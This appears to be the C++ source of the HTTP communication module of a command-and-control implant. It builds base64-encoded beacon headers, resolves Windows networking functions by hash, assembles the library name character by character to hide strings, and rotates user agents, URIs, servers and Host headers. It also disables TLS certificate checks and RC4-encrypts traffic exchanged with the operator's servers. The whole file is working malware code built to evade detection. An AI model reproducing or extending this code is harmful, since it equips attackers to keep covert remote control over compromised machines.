466 lines
16 KiB
C++
466 lines
16 KiB
C++
#include "ConnectorHTTP.h"
|
|
#include "ApiLoader.h"
|
|
#include "ApiDefines.h"
|
|
#include "ProcLoader.h"
|
|
#include "Encoders.h"
|
|
#include "Crypt.h"
|
|
#include "utils.h"
|
|
|
|
|
|
BOOL _isdigest(char c)
|
|
{
|
|
return c >= '0' && c <= '9';
|
|
}
|
|
|
|
int _atoi(const char* str)
|
|
{
|
|
int result = 0;
|
|
int sign = 1;
|
|
int index = 0;
|
|
|
|
while (str[index] == ' ')
|
|
index++;
|
|
|
|
if (str[index] == '-' || str[index] == '+') {
|
|
sign = (str[index] == '-') ? -1 : 1;
|
|
index++;
|
|
}
|
|
|
|
while (_isdigest(str[index])) {
|
|
int digit = str[index] - '0';
|
|
if (result > (INT_MAX - digit) / 10)
|
|
return (sign == 1) ? INT_MAX : INT_MIN;
|
|
|
|
result = result * 10 + digit;
|
|
index++;
|
|
}
|
|
return result * sign;
|
|
}
|
|
|
|
|
|
void* ConnectorHTTP::operator new(size_t sz)
|
|
{
|
|
void* p = MemAllocLocal(sz);
|
|
return p;
|
|
}
|
|
|
|
void ConnectorHTTP::operator delete(void* p) noexcept
|
|
{
|
|
MemFreeLocal(&p, sizeof(ConnectorHTTP));
|
|
}
|
|
|
|
ConnectorHTTP::ConnectorHTTP()
|
|
{
|
|
this->functions = (HTTPFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(HTTPFUNC));
|
|
|
|
this->functions->LocalAlloc = ApiWin->LocalAlloc;
|
|
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
|
|
this->functions->LocalFree = ApiWin->LocalFree;
|
|
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
|
|
this->functions->GetLastError = ApiWin->GetLastError;
|
|
|
|
CHAR wininet_c[12];
|
|
wininet_c[0] = HdChrA('w');
|
|
wininet_c[1] = HdChrA('i');
|
|
wininet_c[2] = HdChrA('n');
|
|
wininet_c[3] = HdChrA('i');
|
|
wininet_c[4] = HdChrA('n');
|
|
wininet_c[5] = HdChrA('e');
|
|
wininet_c[6] = HdChrA('t');
|
|
wininet_c[7] = HdChrA('.');
|
|
wininet_c[8] = HdChrA('d');
|
|
wininet_c[9] = HdChrA('l');
|
|
wininet_c[10] = HdChrA('l');
|
|
wininet_c[11] = HdChrA(0);
|
|
|
|
HMODULE hWininetModule = this->functions->LoadLibraryA(wininet_c);
|
|
if (hWininetModule) {
|
|
this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA);
|
|
this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA);
|
|
this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA);
|
|
this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA);
|
|
this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA);
|
|
this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA);
|
|
this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA);
|
|
this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE);
|
|
this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE);
|
|
this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE);
|
|
}
|
|
}
|
|
|
|
BOOL ConnectorHTTP::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize)
|
|
{
|
|
ProfileHTTP profile = *(ProfileHTTP*)profilePtr;
|
|
LPSTR encBeat = b64_encode(beat, beatSize);
|
|
|
|
ULONG enc_beat_length = StrLenA(encBeat);
|
|
ULONG param_length = StrLenA((CHAR*)profile.parameter);
|
|
ULONG headers_length = StrLenA((CHAR*)profile.http_headers);
|
|
|
|
CHAR* HttpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, param_length + enc_beat_length + headers_length + 5);
|
|
memcpy(HttpHeaders, profile.http_headers, headers_length);
|
|
ULONG index = headers_length;
|
|
memcpy(HttpHeaders + index, profile.parameter, param_length);
|
|
index += param_length;
|
|
HttpHeaders[index++] = ':';
|
|
HttpHeaders[index++] = ' ';
|
|
memcpy(HttpHeaders + index, encBeat, enc_beat_length);
|
|
index += enc_beat_length;
|
|
HttpHeaders[index++] = '\r';
|
|
HttpHeaders[index++] = '\n';
|
|
HttpHeaders[index++] = 0;
|
|
|
|
memset(encBeat, 0, enc_beat_length);
|
|
this->functions->LocalFree(encBeat);
|
|
encBeat = NULL;
|
|
|
|
this->headers = HttpHeaders;
|
|
this->server_count = profile.servers_count;
|
|
this->server_address = (CHAR**)profile.servers;
|
|
this->server_ports = profile.ports;
|
|
this->ssl = profile.use_ssl;
|
|
this->http_method = (CHAR*)profile.http_method;
|
|
this->uri_count = profile.uri_count;
|
|
this->uris = (CHAR**) profile.uris;
|
|
this->ua_count = profile.ua_count;
|
|
this->user_agents = (CHAR**) profile.user_agents;
|
|
this->hh_count = profile.hh_count;
|
|
this->host_headers = (CHAR**) profile.host_headers;
|
|
this->rotation_mode = profile.rotation_mode;
|
|
this->ans_size = profile.ans_size;
|
|
this->ans_pre_size = profile.ans_pre_size;
|
|
|
|
this->proxy_type = profile.proxy_type;
|
|
this->proxy_username = (CHAR*)profile.proxy_username;
|
|
this->proxy_password = (CHAR*)profile.proxy_password;
|
|
|
|
if (this->proxy_type != PROXY_TYPE_NONE && profile.proxy_host != NULL) {
|
|
ULONG hostLen = StrLenA((CHAR*)profile.proxy_host);
|
|
WORD port = profile.proxy_port;
|
|
CHAR portStr[6];
|
|
int portIdx = 0;
|
|
if (port == 0) {
|
|
portStr[portIdx++] = '0';
|
|
}
|
|
else {
|
|
CHAR temp[6];
|
|
int tempIdx = 0;
|
|
while (port > 0) {
|
|
temp[tempIdx++] = '0' + (port % 10);
|
|
port /= 10;
|
|
}
|
|
for (int i = tempIdx - 1; i >= 0; i--) {
|
|
portStr[portIdx++] = temp[i];
|
|
}
|
|
}
|
|
portStr[portIdx] = 0;
|
|
|
|
ULONG prefixLen = 0;
|
|
if (this->proxy_type == PROXY_TYPE_HTTPS) {
|
|
prefixLen = 8;
|
|
}
|
|
this->proxy_url = (CHAR*)this->functions->LocalAlloc(LPTR, prefixLen + hostLen + 1 + portIdx + 1);
|
|
ULONG idx = 0;
|
|
if (this->proxy_type == PROXY_TYPE_HTTPS) {
|
|
this->proxy_url[idx++] = 'h';
|
|
this->proxy_url[idx++] = 't';
|
|
this->proxy_url[idx++] = 't';
|
|
this->proxy_url[idx++] = 'p';
|
|
this->proxy_url[idx++] = 's';
|
|
this->proxy_url[idx++] = ':';
|
|
this->proxy_url[idx++] = '/';
|
|
this->proxy_url[idx++] = '/';
|
|
}
|
|
memcpy(this->proxy_url + idx, profile.proxy_host, hostLen);
|
|
idx += hostLen;
|
|
this->proxy_url[idx++] = ':';
|
|
memcpy(this->proxy_url + idx, portStr, portIdx + 1);
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
void ConnectorHTTP::SendData(BYTE* data, ULONG data_size)
|
|
{
|
|
this->recvSize = 0;
|
|
this->recvData = 0;
|
|
|
|
ULONG attempt = 0;
|
|
BOOL connected = FALSE;
|
|
BOOL result = FALSE;
|
|
DWORD context = 0;
|
|
|
|
// Close existing handles to force new UA per call
|
|
if (this->hConnect) {
|
|
this->functions->InternetCloseHandle(this->hConnect);
|
|
this->hConnect = NULL;
|
|
}
|
|
if (this->hInternet) {
|
|
this->functions->InternetCloseHandle(this->hInternet);
|
|
this->hInternet = NULL;
|
|
}
|
|
|
|
while (!connected && attempt < this->server_count) {
|
|
DWORD dwError = 0;
|
|
|
|
if (!this->hInternet) {
|
|
CHAR* currentUA = this->user_agents[this->ua_index];
|
|
if (this->proxy_url != NULL) {
|
|
this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PROXY, this->proxy_url, NULL, 0);
|
|
}
|
|
else {
|
|
this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
|
|
}
|
|
}
|
|
if (this->hInternet) {
|
|
|
|
if (!this->hConnect)
|
|
this->hConnect = this->functions->InternetConnectA(this->hInternet, this->server_address[this->server_index], this->server_ports[this->server_index], NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context);
|
|
|
|
if (this->hConnect)
|
|
{
|
|
CHAR acceptTypes[] = { '*', '/', '*', 0 };
|
|
LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 };
|
|
DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_NO_COOKIES;
|
|
if (this->ssl)
|
|
flags |= INTERNET_FLAG_SECURE;
|
|
|
|
CHAR* currentUri = this->uris[this->uri_index];
|
|
HINTERNET hRequest = this->functions->HttpOpenRequestA(this->hConnect, this->http_method, currentUri, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context);
|
|
if (hRequest) {
|
|
if (this->ssl) {
|
|
DWORD dwFlags = 0;
|
|
DWORD dwBuffer = sizeof(DWORD);
|
|
result = this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer);
|
|
if (!result) {
|
|
dwFlags = 0;
|
|
}
|
|
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_WRONG_USAGE;
|
|
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
|
|
}
|
|
|
|
if (this->proxy_type != PROXY_TYPE_NONE && this->proxy_username != NULL) {
|
|
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_USERNAME, this->proxy_username, StrLenA(this->proxy_username));
|
|
if (this->proxy_password != NULL) {
|
|
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_PASSWORD, this->proxy_password, StrLenA(this->proxy_password));
|
|
}
|
|
}
|
|
|
|
// Build request headers with optional Host header
|
|
CHAR* reqHeaders = this->headers;
|
|
CHAR* tmpHeaders = NULL;
|
|
if (this->hh_count > 0) {
|
|
CHAR* currentHH = this->host_headers[this->hh_index];
|
|
ULONG hhLen = StrLenA(currentHH);
|
|
ULONG baseLen = StrLenA(this->headers);
|
|
WORD currentPort = this->server_ports[this->server_index];
|
|
|
|
BOOL hasPort = FALSE;
|
|
for (ULONG i = 0; i < hhLen; i++) {
|
|
if (currentHH[i] == ':') {
|
|
hasPort = TRUE;
|
|
break;
|
|
}
|
|
}
|
|
|
|
BOOL needPort = FALSE;
|
|
CHAR portStr[6] = {0};
|
|
ULONG portLen = 0;
|
|
if (!hasPort) {
|
|
if ((this->ssl && currentPort != 443) || (!this->ssl && currentPort != 80)) {
|
|
needPort = TRUE;
|
|
WORD port = currentPort;
|
|
if (port == 0) {
|
|
portStr[portLen++] = '0';
|
|
} else {
|
|
CHAR temp[6];
|
|
int tempIdx = 0;
|
|
while (port > 0) {
|
|
temp[tempIdx++] = '0' + (port % 10);
|
|
port /= 10;
|
|
}
|
|
for (int i = tempIdx - 1; i >= 0; i--) {
|
|
portStr[portLen++] = temp[i];
|
|
}
|
|
}
|
|
portStr[portLen] = 0;
|
|
}
|
|
}
|
|
|
|
ULONG allocSize = 6 + hhLen + (needPort ? 1 + portLen : 0) + 2 + baseLen + 1;
|
|
tmpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, allocSize);
|
|
ULONG off = 0;
|
|
tmpHeaders[off++] = 'H'; tmpHeaders[off++] = 'o'; tmpHeaders[off++] = 's';
|
|
tmpHeaders[off++] = 't'; tmpHeaders[off++] = ':'; tmpHeaders[off++] = ' ';
|
|
memcpy(tmpHeaders + off, currentHH, hhLen); off += hhLen;
|
|
if (needPort) {
|
|
tmpHeaders[off++] = ':';
|
|
memcpy(tmpHeaders + off, portStr, portLen); off += portLen;
|
|
}
|
|
tmpHeaders[off++] = '\r'; tmpHeaders[off++] = '\n';
|
|
memcpy(tmpHeaders + off, this->headers, baseLen); off += baseLen;
|
|
tmpHeaders[off] = 0;
|
|
reqHeaders = tmpHeaders;
|
|
}
|
|
|
|
connected = this->functions->HttpSendRequestA(hRequest, reqHeaders, (DWORD)StrLenA(reqHeaders), (LPVOID)data, (DWORD)data_size);
|
|
|
|
if (tmpHeaders) {
|
|
memset(tmpHeaders, 0, StrLenA(tmpHeaders));
|
|
this->functions->LocalFree(tmpHeaders);
|
|
}
|
|
if (connected) {
|
|
char statusCode[255];
|
|
DWORD statusCodeLenght = 255;
|
|
BOOL result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLenght, 0);
|
|
|
|
if (result && _atoi(statusCode) == 200) {
|
|
DWORD answerSize = 0;
|
|
DWORD dwLengthDataSize = sizeof(DWORD);
|
|
result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &answerSize, &dwLengthDataSize, NULL);
|
|
|
|
if (result) {
|
|
DWORD dwNumberOfBytesAvailable = 0;
|
|
result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0);
|
|
|
|
if (result && answerSize > 0) {
|
|
ULONG numberReadedBytes = 0;
|
|
DWORD readedBytes = 0;
|
|
BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, answerSize);
|
|
|
|
while (numberReadedBytes < answerSize) {
|
|
result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes);
|
|
if (!result || !readedBytes) {
|
|
break;
|
|
}
|
|
numberReadedBytes += readedBytes;
|
|
}
|
|
this->recvSize = numberReadedBytes;
|
|
this->recvData = buffer;
|
|
}
|
|
}
|
|
else if (this->functions->GetLastError() == ERROR_HTTP_HEADER_NOT_FOUND) {
|
|
ULONG numberReadedBytes = 0;
|
|
DWORD readedBytes = 0;
|
|
BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, 0);
|
|
DWORD dwNumberOfBytesAvailable = 0;
|
|
|
|
while (1) {
|
|
result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0);
|
|
if (!result || !dwNumberOfBytesAvailable)
|
|
break;
|
|
|
|
buffer = (BYTE*)this->functions->LocalReAlloc(buffer, dwNumberOfBytesAvailable + numberReadedBytes, LMEM_MOVEABLE);
|
|
result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes);
|
|
if (!result || !readedBytes) {
|
|
break;
|
|
}
|
|
numberReadedBytes += readedBytes;
|
|
}
|
|
|
|
if (numberReadedBytes) {
|
|
this->recvSize = numberReadedBytes;
|
|
this->recvData = buffer;
|
|
}
|
|
else {
|
|
this->functions->LocalFree(buffer);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
dwError = this->functions->GetLastError();
|
|
}
|
|
this->functions->InternetCloseHandle(hRequest);
|
|
}
|
|
}
|
|
|
|
attempt++;
|
|
if (!connected) {
|
|
if (this->hConnect) {
|
|
this->functions->InternetCloseHandle(this->hConnect);
|
|
this->hConnect = NULL;
|
|
}
|
|
if (this->hInternet) {
|
|
this->functions->InternetCloseHandle(this->hInternet);
|
|
this->hInternet = NULL;
|
|
}
|
|
|
|
this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
|
|
this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_REFRESH, NULL, 0);
|
|
|
|
this->server_index = (this->server_index + 1) % this->server_count;
|
|
}
|
|
|
|
// Rotate indices for next callback (active round-robin)
|
|
if (this->rotation_mode == 1) {
|
|
this->uri_index = GenerateRandom32() % this->uri_count;
|
|
this->ua_index = GenerateRandom32() % this->ua_count;
|
|
this->server_index = GenerateRandom32() % this->server_count;
|
|
if (this->hh_count > 0)
|
|
this->hh_index = GenerateRandom32() % this->hh_count;
|
|
}
|
|
else {
|
|
this->uri_index = (this->uri_index + 1) % this->uri_count;
|
|
this->ua_index = (this->ua_index + 1) % this->ua_count;
|
|
this->server_index = (this->server_index + 1) % this->server_count;
|
|
if (this->hh_count > 0)
|
|
this->hh_index = (this->hh_index + 1) % this->hh_count;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
BYTE* ConnectorHTTP::RecvData()
|
|
{
|
|
if (this->recvData)
|
|
return this->recvData + this->ans_pre_size;
|
|
else
|
|
return NULL;
|
|
}
|
|
|
|
int ConnectorHTTP::RecvSize()
|
|
{
|
|
if (this->recvSize < this->ans_size)
|
|
return 0;
|
|
|
|
return this->recvSize - this->ans_size;
|
|
}
|
|
|
|
void ConnectorHTTP::RecvClear()
|
|
{
|
|
if (this->recvData && this->recvSize) {
|
|
memset(this->recvData, 0, this->recvSize);
|
|
this->functions->LocalFree(this->recvData);
|
|
this->recvData = NULL;
|
|
}
|
|
}
|
|
|
|
void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
|
|
{
|
|
if (plainData && plainSize > 0) {
|
|
EncryptRC4(plainData, plainSize, sessionKey, 16);
|
|
this->SendData(plainData, plainSize);
|
|
}
|
|
else {
|
|
this->SendData(NULL, 0);
|
|
}
|
|
|
|
if (this->recvSize > 0 && this->recvData) {
|
|
int dataSize = this->RecvSize();
|
|
BYTE* dataPtr = this->RecvData();
|
|
if (dataSize > 0 && dataPtr)
|
|
DecryptRC4(dataPtr, dataSize, sessionKey, 16);
|
|
}
|
|
}
|
|
|
|
void ConnectorHTTP::CloseConnector()
|
|
{
|
|
DWORD l = StrLenA(this->headers);
|
|
memset(this->headers, 0, l);
|
|
this->functions->LocalFree(this->headers);
|
|
this->headers = NULL;
|
|
|
|
this->functions->InternetCloseHandle(this->hInternet);
|
|
this->functions->InternetCloseHandle(this->hConnect);
|
|
} |